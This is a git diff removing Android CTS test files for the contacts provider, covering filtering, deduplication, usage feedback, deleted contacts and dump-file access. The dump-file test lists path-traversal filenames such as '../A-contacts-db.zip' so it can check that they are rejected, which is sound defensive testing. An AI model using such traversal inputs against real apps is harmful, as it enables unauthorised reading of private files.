-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact.newDataRow(CommonDataKinds.Email.CONTENT_ITEM_TYPE)
-                .with(Email.DATA, "test@test.com")
-                .with(Email.TYPE, Email.TYPE_WORK)
-                .insert();
-        ContentValues cv = new ContentValues();
-        cv.put(Email.DATA, "test@test.com");
-        cv.put(Email.TYPE, Email.TYPE_WORK);
-
-        Uri contentUri = ContactsContract.CommonDataKinds.Contactables.CONTENT_URI;
-        try {
-            assertCursorStoredValuesWithRawContactsFilter(contentUri,
-                    new long[] {rawContact.getId()}, cv);
-            rawContact.newDataRow(CommonDataKinds.StructuredPostal.CONTENT_ITEM_TYPE)
-                    .with(CommonDataKinds.StructuredPostal.DATA1, "100 Sesame Street")
-                    .insert();
-
-            rawContact.newDataRow(Phone.CONTENT_ITEM_TYPE)
-                    .with(Phone.DATA, "123456789")
-                    .with(Phone.TYPE, Phone.TYPE_MOBILE)
-                    .insert();
-
-            ContentValues cv2 = new ContentValues();
-            cv.put(Phone.DATA, "123456789");
-            cv.put(Phone.TYPE, Phone.TYPE_MOBILE);
-
-            // Contactables Uri should return only email and phone data items.
-            DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, contentUri, null,
-                    Data.RAW_CONTACT_ID + "=?", new String[] {String.valueOf(rawContact.getId())},
-                    null, false, cv, cv2);
-        } finally {
-            // Clean up
-            rawContact.delete();
-        }
-    }
-
-    public void testContactablesFilterByLastName_returnsCorrectDataRows() throws Exception {
-        long[] ids = setupContactablesTestData();
-        Uri filterUri = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "tamale");
-        assertCursorStoredValuesWithRawContactsFilter(filterUri, ids,
-                ContactablesTestHelper.getContentValues(0));
-    }
-
-    public void testContactablesFilterByFirstName_returnsCorrectDataRows() throws Exception {
-        long[] ids = setupContactablesTestData();
-        Uri filterUri = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "hot");
-        assertCursorStoredValuesWithRawContactsFilter(filterUri, ids,
-                ContactablesTestHelper.getContentValues(0));
-        Uri filterUri2 = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "tam");
-        assertCursorStoredValuesWithRawContactsFilter(filterUri2, ids,
-                ContactablesTestHelper.getContentValues(0, 1));
-    }
-
-    public void testContactablesFilterByPhonePrefix_returnsCorrectDataRows() throws Exception {
-        long[] ids = setupContactablesTestData();
-        Uri filterUri = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "518");
-        assertCursorStoredValuesWithRawContactsFilter(filterUri, ids,
-                ContactablesTestHelper.getContentValues(2));
-        Uri filterUri2 = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "51");
-        assertCursorStoredValuesWithRawContactsFilter(filterUri2, ids,
-                ContactablesTestHelper.getContentValues(0, 2));
-    }
-
-    public void testContactablesFilterByEmailPrefix_returnsCorrectDataRows() throws Exception {
-        long[] ids = setupContactablesTestData();
-        Uri filterUri = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "doeassoc");
-        assertCursorStoredValuesWithRawContactsFilter(filterUri, ids,
-                ContactablesTestHelper.getContentValues(2));
-    }
-
-    public void testContactablesFilter_doesNotExist_returnsCorrectDataRows() throws Exception {
-        long[] ids = setupContactablesTestData();
-        Uri filterUri = Uri.withAppendedPath(Contactables.CONTENT_FILTER_URI, "doesnotexist");
-        assertCursorStoredValuesWithRawContactsFilter(filterUri, ids, new ContentValues[0]);
-    }
-
-    /**
-     * Verifies that Callable.CONTENT_URI returns only data items that can be called (i.e.
-     * phone numbers and sip addresses)
-     */
-    public void testCallableUri_returnsCorrectDataRows() throws Exception {
-        long[] ids = setupContactablesTestData();
-        Uri uri = Callable.CONTENT_URI;
-        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[1],
-                sContentValues[5], sContentValues[6]);
-    }
-
-    public void testCallableFilterByNameOrOrganization_returnsCorrectDataRows() throws Exception {
-        long[] ids = setupContactablesTestData();
-        Uri uri = Uri.withAppendedPath(Callable.CONTENT_FILTER_URI, "doe");
-        // Only callables belonging to John Doe (name) and Cold Tamago (organization) are returned.
-        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[5],
-                sContentValues[6]);
-    }
-
-    public void testCallableFilterByNumber_returnsCorrectDataRows() throws Exception {
-        long[] ids = setupContactablesTestData();
-        Uri uri = Uri.withAppendedPath(Callable.CONTENT_FILTER_URI, "510");
-        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[1]);
-    }
-
-    public void testCallableFilterBySipAddress_returnsCorrectDataRows() throws Exception {
-        long[] ids = setupContactablesTestData();
-        Uri uri = Uri.withAppendedPath(Callable.CONTENT_FILTER_URI, "mysip");
-        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[6]);
-    }
-
-    public void testDataInsert_updatesContactLastUpdatedTimestamp() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
-        SystemClock.sleep(1);
-        createData(ids.mRawContactId);
-
-        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-        assertTrue(newTime > baseTime);
-
-        // Clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testDataDelete_updatesContactLastUpdatedTimestamp() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        long dataId = createData(ids.mRawContactId);
-
-        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
-        SystemClock.sleep(1);
-        DataUtil.delete(mResolver, dataId);
-
-        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-        assertTrue(newTime > baseTime);
-
-        // Clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    /**
-     * Tests that specifying the {@link android.provider.ContactsContract#REMOVE_DUPLICATE_ENTRIES}
-     * boolean parameter correctly results in deduped phone numbers.
-     */
-    public void testPhoneQuery_removeDuplicateEntries() throws Exception{
-        long[] ids = setupContactablesTestData();
-
-        // Insert duplicate data entry for raw contact 3. (existing phone number 518-354-1111)
-        mRawContacts[2].newDataRow(Phone.CONTENT_ITEM_TYPE)
-                .with(Phone.DATA, "518-354-1111")
-                .with(Phone.TYPE, Phone.TYPE_HOME)
-                .insert();
-
-        ContentValues dupe = new ContentValues();
-        dupe.put(Contacts.DISPLAY_NAME, "John Doe");
-        dupe.put(Data.MIMETYPE, Phone.CONTENT_ITEM_TYPE);
-        dupe.put(Phone.DATA, "518-354-1111");
-        dupe.put(Phone.TYPE, Phone.TYPE_HOME);
-
-        // Query for all phone numbers in the contacts database (without deduping).
-        // The phone number above should be listed twice, in its duplicated forms.
-        assertCursorStoredValuesWithRawContactsFilter(Phone.CONTENT_URI, ids, sContentValues[1],
-                sContentValues[5], dupe);
-
-        // Now query for all phone numbers in the contacts database but request deduping.
-        // The phone number should now be listed only once.
-        Uri uri = Phone.CONTENT_URI.buildUpon().
-                appendQueryParameter(ContactsContract.REMOVE_DUPLICATE_ENTRIES, "true").build();
-        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[1],
-                sContentValues[5]);
-    }
-
-    /**
-     * Tests that specifying the {@link android.provider.ContactsContract#REMOVE_DUPLICATE_ENTRIES}
-     * boolean parameter correctly results in deduped email addresses.
-     */
-    public void testEmailQuery_removeDuplicateEntries() throws Exception{
-        long[] ids = setupContactablesTestData();
-
-        // Insert duplicate data entry for raw contact 3. (existing email doeassociates@deer.com)
-        mRawContacts[2].newDataRow(Email.CONTENT_ITEM_TYPE)
-                .with(Email.DATA, "doeassociates@deer.com")
-                .with(Email.TYPE, Email.TYPE_WORK)
-                .insert();
-
-        ContentValues dupe = new ContentValues();
-        dupe.put(Contacts.DISPLAY_NAME, "John Doe");
-        dupe.put(Data.MIMETYPE, Email.CONTENT_ITEM_TYPE);
-        dupe.put(Email.DATA, "doeassociates@deer.com");
-        dupe.put(Email.TYPE, Email.TYPE_WORK);
-
-        // Query for all email addresses in the contacts database (without deduping).
-        // The email address above should be listed twice, in its duplicated forms.
-        assertCursorStoredValuesWithRawContactsFilter(Email.CONTENT_URI, ids, sContentValues[0],
-                sContentValues[2], sContentValues[3], sContentValues[4], dupe);
-
-        // Now query for all email addresses in the contacts database but request deduping.
-        // The email address should now be listed only once.
-        Uri uri = Email.CONTENT_URI.buildUpon().
-                appendQueryParameter(ContactsContract.REMOVE_DUPLICATE_ENTRIES, "true").build();
-        assertCursorStoredValuesWithRawContactsFilter(uri, ids, sContentValues[0],
-                sContentValues[2], sContentValues[3], sContentValues[4]);
-    }
-
-    public void testDataUpdate_updatesContactLastUpdatedTimestamp() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-        long dataId = createData(ids.mRawContactId);
-        long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
-        SystemClock.sleep(1);
-        ContentValues values = new ContentValues();
-        values.put(CommonDataKinds.Phone.NUMBER, "555-5555");
-        DataUtil.update(mResolver, dataId, values);
-
-        long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-        assertTrue("Expected contact " + ids.mContactId + " last updated to be greater than " +
-                baseTime + ". But was " + newTime, newTime > baseTime);
-
-        // Clean up
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    private long createData(long rawContactId) {
-        ContentValues values = new ContentValues();
-        values.put(Data.MIMETYPE, CommonDataKinds.Phone.CONTENT_ITEM_TYPE);
-        values.put(CommonDataKinds.Phone.NUMBER, "1-800-GOOG-411");
-        values.put(CommonDataKinds.Phone.TYPE, CommonDataKinds.Phone.TYPE_CUSTOM);
-        values.put(CommonDataKinds.Phone.LABEL, "free directory assistance");
-        return DataUtil.insertData(mResolver, rawContactId, values);
-    }
-
-    private void assertCursorStoredValuesWithRawContactsFilter(Uri uri, long[] rawContactsId,
-            ContentValues... expected) {
-        // We need this helper function to add a filter for specific raw contacts because
-        // otherwise tests will fail if performed on a device with existing contacts data
-        StringBuilder sb = new StringBuilder();
-        sb.append(Data.RAW_CONTACT_ID + " in ");
-        sb.append("(");
-        for (int i = 0; i < rawContactsId.length; i++) {
-            if (i != 0) sb.append(",");
-            sb.append(rawContactsId[i]);
-        }
-        sb.append(")");
-        DatabaseAsserts.assertStoredValuesInUriMatchExactly(mResolver, uri, null, sb.toString(),
-                null, null, false, expected);
-    }
-
-
-    private long[] setupContactablesTestData() throws Exception {
-        TestRawContact rawContact = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Hot Tamale")
-                .insert();
-        rawContact.newDataRow(Email.CONTENT_ITEM_TYPE)
-                .with(Email.DATA, "tamale@acme.com")
-                .with(Email.TYPE, Email.TYPE_HOME)
-                .insert();
-        rawContact.newDataRow(Email.CONTENT_ITEM_TYPE)
-                .with(Email.DATA, "hot@google.com")
-                .with(Email.TYPE, Email.TYPE_WORK)
-                .insert();
-        rawContact.newDataRow(Phone.CONTENT_ITEM_TYPE)
-                .with(Phone.DATA, "510-123-5769")
-                .with(Email.TYPE, Phone.TYPE_HOME)
-                .insert();
-        mRawContacts[0] = rawContact;
-
-        TestRawContact rawContact2 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact2.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "Cold Tamago")
-                .insert();
-        rawContact2.newDataRow(Email.CONTENT_ITEM_TYPE)
-                .with(Email.DATA, "eggs@farmers.org")
-                .with(Email.TYPE, Email.TYPE_HOME)
-                .insert();
-        rawContact2.newDataRow(SipAddress.CONTENT_ITEM_TYPE)
-                .with(SipAddress.DATA, "mysip@sipaddress.com")
-                .with(SipAddress.TYPE, SipAddress.TYPE_HOME)
-                .insert();
-        rawContact2.newDataRow(Organization.CONTENT_ITEM_TYPE)
-                .with(Organization.COMPANY, "Doe Corp")
-                .insert();
-        mRawContacts[1] = rawContact2;
-
-        TestRawContact rawContact3 = mBuilder.newRawContact()
-                .with(RawContacts.ACCOUNT_TYPE, "test_account")
-                .with(RawContacts.ACCOUNT_NAME, "test_name")
-                .insert();
-        rawContact3.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
-                .with(StructuredName.DISPLAY_NAME, "John Doe")
-                .insert();
-        rawContact3.newDataRow(Email.CONTENT_ITEM_TYPE)
-                .with(Email.DATA, "doeassociates@deer.com")
-                .with(Email.TYPE, Email.TYPE_WORK)
-                .insert();
-        rawContact3.newDataRow(Phone.CONTENT_ITEM_TYPE)
-                .with(Phone.DATA, "518-354-1111")
-                .with(Phone.TYPE, Phone.TYPE_HOME)
-                .insert();
-        rawContact3.newDataRow(Organization.CONTENT_ITEM_TYPE)
-                .with(Organization.DATA, "Doe Industries")
-                .insert();
-        mRawContacts[2] = rawContact3;
-        return new long[] {rawContact.getId(), rawContact2.getId(), rawContact3.getId()};
-    }
-
-    // Provides functionality to set up content values for the Contactables tests
-    private static class ContactablesTestHelper {
-
-        /**
-         * @return An arraylist of contentValues that correspond to the provided raw contacts
-         */
-        public static ContentValues[] getContentValues(int... rawContacts) {
-            ArrayList<ContentValues> cv = new ArrayList<ContentValues>();
-            for (int i = 0; i < rawContacts.length; i++) {
-                switch (rawContacts[i]) {
-                    case 0:
-                        // rawContact 0 "Hot Tamale" contains ContentValues 0, 1, and 2
-                        cv.add(sContentValues[0]);
-                        cv.add(sContentValues[1]);
-                        cv.add(sContentValues[2]);
-                        break;
-                    case 1:
-                        // rawContact 1 "Cold Tamago" contains ContentValues 3
-                        cv.add(sContentValues[3]);
-                        break;
-                    case 2:
-                        // rawContact 1 "John Doe" contains ContentValues 4, 5
-                        cv.add(sContentValues[4]);
-                        cv.add(sContentValues[5]);
-                        break;
-                }
-            }
-            ContentValues[] toReturn = new ContentValues[cv.size()];
-            for (int i = 0; i < cv.size(); i++) {
-                toReturn[i] = cv.get(i);
-            }
-            return toReturn;
-        }
-    }
-}
-
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_DataUsageTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_DataUsageTest.java
deleted file mode 100644
index d585ec2..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_DataUsageTest.java
+++ /dev/null
@@ -1,155 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.provider.cts;
-
-import static android.provider.ContactsContract.DataUsageFeedback;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.net.Uri;
-import android.provider.ContactsContract;
-import android.provider.cts.contacts.DataUtil;
-import android.provider.cts.contacts.DatabaseAsserts;
-import android.provider.cts.contacts.RawContactUtil;
-import android.test.AndroidTestCase;
-import android.text.TextUtils;
-
-public class ContactsContract_DataUsageTest extends AndroidTestCase {
-
-    private ContentResolver mResolver;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-    }
-
-    public void testSingleDataUsageFeedback_incrementsCorrectDataItems() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        long[] dataIds = setupRawContactDataItems(ids.mRawContactId);
-
-        // Update just 1 data item at a time.
-        updateDataUsageAndAssert(dataIds[1], 1);
-        updateDataUsageAndAssert(dataIds[1], 2);
-
-        updateDataUsageAndAssert(dataIds[2], 1);
-        updateDataUsageAndAssert(dataIds[2], 2);
-        updateDataUsageAndAssert(dataIds[2], 3);
-
-        // Go back and update the previous data item again.
-        updateDataUsageAndAssert(dataIds[1], 3);
-
-        deleteDataUsage();
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    public void testMultiIdDataUsageFeedback_incrementsCorrectDataItems() {
-        DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
-        long[] dataIds = setupRawContactDataItems(ids.mRawContactId);
-
-        assertDataUsageEquals(dataIds, 0, 0, 0, 0);
-
-        updateMultipleAndAssertUpdateSuccess(new long[] {dataIds[1], dataIds[2]});
-        assertDataUsageEquals(dataIds, 0, 1, 1, 0);
-
-        updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[1], dataIds[2]});
-        assertDataUsageEquals(dataIds, 0, 2, 2, 0);
-
-        updateDataUsageAndAssert(dataIds[1], 3);
-        assertDataUsageEquals(dataIds, 0, 3, 2, 0);
-
-        updateMultipleAndAssertUpdateSuccess(new long[]{dataIds[0], dataIds[1]});
-        assertDataUsageEquals(dataIds, 1, 4, 2, 0);
-
-        deleteDataUsage();
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-    }
-
-    private long[] setupRawContactDataItems(long rawContactId) {
-        // Create 4 data items.
-        long[] dataIds = new long[4];
-        dataIds[0] = DataUtil.insertPhoneNumber(mResolver, rawContactId, "555-5555");
-        dataIds[1] = DataUtil.insertPhoneNumber(mResolver, rawContactId, "555-5554");
-        dataIds[2] = DataUtil.insertEmail(mResolver, rawContactId, "test@thisisfake.com");
-        dataIds[3] = DataUtil.insertPhoneNumber(mResolver, rawContactId, "555-5556");
-        return dataIds;
-    }
-
-    /**
-     * Updates multiple data ids at once.  And asserts the update returned success.
-     */
-    private void updateMultipleAndAssertUpdateSuccess(long[] dataIds) {
-        String[] ids = new String[dataIds.length];
-        for (int i = 0; i < dataIds.length; i++) {
-            ids[i] = String.valueOf(dataIds[i]);
-        }
-        Uri uri = DataUsageFeedback.FEEDBACK_URI.buildUpon().appendPath(TextUtils.join(",", ids))
-                .appendQueryParameter(DataUsageFeedback.USAGE_TYPE,
-                        DataUsageFeedback.USAGE_TYPE_CALL).build();
-        int result = mResolver.update(uri, new ContentValues(), null, null);
-        assertTrue(result > 0);
-    }
-
-    /**
-     * Updates a single data item usage.  Asserts the update was successful.  Asserts the usage
-     * number is equal to expected value.
-     */
-    private void updateDataUsageAndAssert(long dataId, int assertValue) {
-        Uri uri = DataUsageFeedback.FEEDBACK_URI.buildUpon().appendPath(String.valueOf(dataId))
-                .appendQueryParameter(DataUsageFeedback.USAGE_TYPE,
-                        DataUsageFeedback.USAGE_TYPE_CALL).build();
-        int result = mResolver.update(uri, new ContentValues(), null, null);
-        assertTrue(result > 0);
-
-        assertDataUsageEquals(dataId, assertValue);
-    }
-
-    /**
-     * Assert that the given data ids have usage values in the respective order.
-     */
-    private void assertDataUsageEquals(long[] dataIds, int... expectedValues) {
-        if (dataIds.length != expectedValues.length) {
-            throw new IllegalArgumentException("dataIds and expectedValues must be the same size");
-        }
-
-        for (int i = 0; i < dataIds.length; i++) {
-            assertDataUsageEquals(dataIds[i], expectedValues[i]);
-        }
-    }
-
-    /**
-     * Assert a single data item has a specific usage value.
-     */
-    private void assertDataUsageEquals(long dataId, int expectedValue) {
-        // Query and assert value is expected.
-        String[] projection = new String[]{ContactsContract.Data.TIMES_USED};
-        String[] record = DataUtil.queryById(mResolver, dataId, projection);
-        assertNotNull(record);
-        long actual = 0;
-        // Tread null as 0
-        if (record[0] != null) {
-            actual = Long.parseLong(record[0]);
-        }
-        assertEquals(expectedValue, actual);
-    }
-
-    private void deleteDataUsage() {
-        mResolver.delete(DataUsageFeedback.DELETE_USAGE_URI, null, null);
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_DeletedContacts.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_DeletedContacts.java
deleted file mode 100644
index 542b49e..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_DeletedContacts.java
+++ /dev/null
@@ -1,141 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.contacts.DatabaseAsserts.ContactIdPair;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.net.Uri;
-import android.os.SystemClock;
-import android.provider.ContactsContract;
-import android.provider.cts.contacts.CommonDatabaseUtils;
-import android.provider.cts.contacts.DatabaseAsserts;
-import android.provider.cts.contacts.DeletedContactUtil;
-import android.provider.cts.contacts.RawContactUtil;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
-
-import java.util.HashSet;
-import java.util.List;
-
-public class ContactsContract_DeletedContacts extends AndroidTestCase {
-
-    private static final Uri URI = ContactsContract.DeletedContacts.CONTENT_URI;
-
-    private ContentResolver mResolver;
-
-    @Override
-    public void setUp() {
-        mResolver = getContext().getContentResolver();
-    }
-
-    public void testDelete_isUnsupported() {
-
-        DatabaseAsserts.assertDeleteIsUnsupported(mResolver, URI);
-
-        Uri uri = ContentUris.withAppendedId(URI, 1L);
-        DatabaseAsserts.assertDeleteIsUnsupported(mResolver, uri);
-    }
-
-    public void testInsert_isUnsupported() {
-        DatabaseAsserts.assertInsertIsUnsupported(mResolver, URI);
-    }
-
-    public void testQuery_returnsProperColumns() {
-        long start = System.currentTimeMillis();
-        ContactIdPair ids = createAndDeleteContact();
-
-        String[] projection = new String[] {
-                ContactsContract.DeletedContacts.CONTACT_ID,
-                ContactsContract.DeletedContacts.CONTACT_DELETED_TIMESTAMP
-        };
-        List<String[]> records = DeletedContactUtil.query(mResolver, projection);
-        boolean found = false;
-        for (String[] record : records) {
-            if (Long.parseLong(record[0]) == ids.mContactId) {
-                found = true;
-                assertTrue(Long.parseLong(record[1]) > start);
-            }
-        }
-        assertTrue(found);
-    }
-
-    public void testQueryByContactId() {
-        ContactIdPair ids = createAndDeleteContact();
-
-        MoreAsserts.assertNotEqual(CommonDatabaseUtils.NOT_FOUND,
-                DeletedContactUtil.queryDeletedTimestampForContactId(mResolver, ids.mContactId));
-    }
-
-    public void testQueryAll() {
-        int numDeletes = 10;
-
-        // Since we cannot clean out delete log from previous tests, we need to account for that
-        // by querying for the count first.
-        long startCount = DeletedContactUtil.getCount(mResolver);
-
-        for (int i = 0; i < numDeletes; i++) {
-            createAndDeleteContact();
-        }
-
-        long endCount = DeletedContactUtil.getCount(mResolver);
-
-        assertEquals(numDeletes, endCount - startCount);
-    }
-
-    public void testQuerySinceTimestamp() {
-
-        // Before
-        HashSet<Long> beforeIds = new HashSet<Long>();
-        beforeIds.add(createAndDeleteContact().mContactId);
-        beforeIds.add(createAndDeleteContact().mContactId);
-
-        long start = System.currentTimeMillis();
-
-        // After
-        HashSet<Long> afterIds = new HashSet<Long>();
-        afterIds.add(createAndDeleteContact().mContactId);
-        afterIds.add(createAndDeleteContact().mContactId);
-        afterIds.add(createAndDeleteContact().mContactId);
-
-        String[] projection = new String[]{
-                ContactsContract.DeletedContacts.CONTACT_ID,
-                ContactsContract.DeletedContacts.CONTACT_DELETED_TIMESTAMP
-        };
-        List<String[]> records = DeletedContactUtil.querySinceTimestamp(mResolver, projection,
-                start);
-        for (String[] record : records) {
-            // Check ids to make sure we only have the ones that came after the time.
-            long contactId = Long.parseLong(record[0]);
-            assertFalse(beforeIds.contains(contactId));
-            assertTrue(afterIds.contains(contactId));
-
-            // Check times to make sure they came after
-            assertTrue(Long.parseLong(record[1]) > start);
-        }
-    }
-
-    private ContactIdPair createAndDeleteContact() {
-        ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-        assertEquals(CommonDatabaseUtils.NOT_FOUND,
-                DeletedContactUtil.queryDeletedTimestampForContactId(mResolver, ids.mContactId));
-        SystemClock.sleep(1);
-        RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-        return ids;
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_DumpFileProviderTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_DumpFileProviderTest.java
deleted file mode 100644
index 5c5afaa..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_DumpFileProviderTest.java
+++ /dev/null
@@ -1,106 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.provider.cts;
-
-import android.content.ContentResolver;
-import android.net.Uri;
-import android.test.AndroidTestCase;
-
-import java.io.FileNotFoundException;
-
-public class ContactsContract_DumpFileProviderTest extends AndroidTestCase {
-
-    private static final String URI_PREFIX = "content://com.android.contacts.dumpfile/";
-
-    private static final String[] NOT_ALLOWED_FILES = {
-            "not_allowed.txt",
-            "../A-contacts-db.zip",   // ".." is not allowed.
-            "/A-contacts-db.zip",     // "/" is not allowed
-            "-contacts-db.zip",       // no name prefix
-            "asdf-contacts-db.zip"};
-
-    private static final String[] ALLOWED_FILES = {
-            "1234567890abcdefABCDEF-contacts-db.zip",
-            "a-contacts-db.zip",
-            "0-contacts-db.zip",
-            "A-contacts-db.zip",
-            "abcdefabcdefabcdefabcdef-contacts-db.zip"};
-
-    private ContentResolver mResolver;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mResolver = getContext().getContentResolver();
-    }
-
-    public void testOpenFileDescriptor_throwsErrorWithIllegalFileName() {
-        for (String fileName : NOT_ALLOWED_FILES) {
-            Uri uri = Uri.parse(URI_PREFIX + fileName);
-            assertOpenFileDescriptorThrowsError(uri);
-        }
-    }
-
-    public void testOpenFileDescriptor_worksWithValidFileName() {
-        for (String fileName : ALLOWED_FILES) {
-            final Uri uri = Uri.parse(URI_PREFIX + fileName);
-            try {
-                mResolver.openFileDescriptor(uri, "r");
-            } catch (FileNotFoundException e) {
-
-            }
-        }
-    }
-
-    public void testQuery_throwsErrorWithIllegalFileName() {
-        for (String fileName : NOT_ALLOWED_FILES) {
-            final Uri uri = Uri.parse(URI_PREFIX + fileName);
-            assertQueryThrowsError(uri);
-        }
-    }
-
-    public void testQuery_worksWithValidFileName() {
-        for (String fileName : ALLOWED_FILES) {
-            final Uri uri = Uri.parse(URI_PREFIX + fileName);
-            mResolver.query(uri, null, null, null, null);
-        }
-    }
-
-    private void assertQueryThrowsError(Uri uri) {
-        try {
-            mResolver.query(uri, null, null, null, null);
-        } catch (IllegalArgumentException e) {
-            // pass
-            return;
-        }
-
-        fail("IllegalArgumentException expected but not thrown.");
-    }
-
-    private void assertOpenFileDescriptorThrowsError(Uri uri) {
-        try {
-            mResolver.openFileDescriptor(uri, "r");
-        } catch (IllegalArgumentException e) {
-            // pass
-            return;
-        } catch (FileNotFoundException e) {
-
-        }
-
-        fail("IllegalArgumentException expected but not thrown.");
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/ContactsContract_FrequentsStrequentsTest.java b/tests/tests/provider/src/android/provider/cts/ContactsContract_FrequentsStrequentsTest.java
deleted file mode 100644
index b52915c..0000000
--- a/tests/tests/provider/src/android/provider/cts/ContactsContract_FrequentsStrequentsTest.java
+++ /dev/null
@@ -1,481 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.net.Uri;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.Contactables;
-import android.provider.ContactsContract.CommonDataKinds.Email;
-import android.provider.ContactsContract.CommonDataKinds.Organization;
-import android.provider.ContactsContract.CommonDataKinds.Phone;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.Contacts;
-import android.provider.ContactsContract.Data;
-import android.provider.ContactsContract.DataUsageFeedback;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.DatabaseAsserts;
-import android.test.InstrumentationTestCase;
-
-import java.util.ArrayList;
-
-/**
